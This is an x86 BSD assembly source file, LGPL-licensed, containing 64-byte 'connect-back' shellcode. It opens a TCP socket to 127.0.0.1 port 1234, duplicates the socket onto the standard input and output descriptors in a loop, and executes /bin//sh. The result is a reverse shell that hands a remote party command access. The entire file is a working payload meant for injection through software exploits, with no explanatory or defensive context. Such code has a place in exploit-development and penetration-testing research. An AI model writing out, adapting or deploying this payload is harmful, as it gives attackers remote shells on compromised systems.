/* * bsd-x86-cntsockcode.s * Copyright 2004 Ramon de Carvalho Valle * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ .global _start _start: # 64 bytes cntsockcode: pushl $0x0100007f pushl $0xd20402ff movl %esp,%edi xorl %eax,%eax pushl %eax pushl $0x01 pushl $0x02 pushl $0x10 movb $0x61,%al int $0x80 pushl %edi pushl %eax pushl %eax pushl $0x62 popl %eax int $0x80 pushl %eax 0: pushl $0x5a popl %eax int $0x80 decl -0x18(%edi) jns 0b shellcode: # xorl %eax,%eax # pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %esp pushl %ebx pushl %eax movb $0x3b,%al int $0x80